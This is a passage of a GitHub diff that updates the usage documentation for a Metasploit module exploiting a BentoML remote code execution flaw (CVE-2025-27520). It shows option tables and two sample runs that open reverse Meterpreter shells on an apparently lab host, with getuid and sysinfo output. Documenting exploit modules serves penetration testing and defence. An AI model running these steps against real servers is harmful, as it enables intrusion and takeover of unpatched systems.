You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
FETCH_DELETE true yes Attempt to delete the binary after execution
70
-
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bas
71
-
h, python3.8+)
72
-
FETCH_SRVHOST no Local IP to use for serving payload
73
-
FETCH_SRVPORT 8080 yes Local port to use for serving payload
74
-
FETCH_URIPATH no Local URI to use for serving payload
75
-
LHOST yes The listen address (an interface may be specified)
76
-
LPORT 4444 yes The listen port
60
+
Name Current Setting Required Description
61
+
---- --------------- -------- -----------
62
+
ENDPOINT no Endpoint to use
63
+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
64
+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
65
+
RPORT 3000 yes The target port (TCP)
66
+
SSL false no Negotiate SSL/TLS for outgoing connections
67
+
VHOST no HTTP server virtual host
77
68
78
69
79
-
When FETCH_FILELESS is false:
70
+
Payload options (python/meterpreter/reverse_tcp):
80
71
81
-
Name Current Setting Required Description
82
-
---- --------------- -------- -----------
83
-
FETCH_FILENAMEaNHnUjyAfXono Name to use on remote system when storing payload; cannot contain spaces or slashes
84
-
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
72
+
Name Current Setting Required Description
73
+
---- --------------- -------- -----------
74
+
LHOSTyes The listen address (an interface may be specified)
75
+
LPORT 4444 yes The listen port
85
76
86
77
87
78
Exploit target:
88
79
89
80
Id Name
90
81
-- ----
91
-
0 Linux Command
82
+
0 Python payload
92
83
93
84
94
85
95
86
View the full module info with the info, or info -d command.
96
87
88
+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Python\ payload
89
+
target => Python payload
90
+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
91
+
[*] Started reverse TCP handler on 192.168.56.1:4444
92
+
[*] Running automatic check ("set AutoCheck false" to disable)
93
+
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
94
+
[*] Use /summarize as api endpoint.
95
+
[*] Sending stage (24772 bytes) to 192.168.56.16
96
+
[*] Expected error occurred.
97
+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34930) at 2025-04-16 21:44:13 +0900
98
+
99
+
meterpreter > getuid
100
+
Server username: ubu
101
+
meterpreter > sysinfo
102
+
Computer : vul
103
+
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
104
+
Architecture : x64
105
+
System Language : C
106
+
Meterpreter : python/linux
107
+
meterpreter >
108
+
```
109
+
110
+
### Linux command
111
+
```
112
+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Linux\ Command
113
+
target => Linux Command
97
114
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
98
115
[*] Started reverse TCP handler on 192.168.56.1:4444
99
116
[*] Running automatic check ("set AutoCheck false" to disable)
100
117
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
101
-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:32880) at 2025-04-15 22:29:18 +0900
118
+
[*] Use /summarize as api endpoint.
119
+
[*] Expected error occurred.
120
+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:35272) at 2025-04-16 21:45:17 +0900
0 commit comments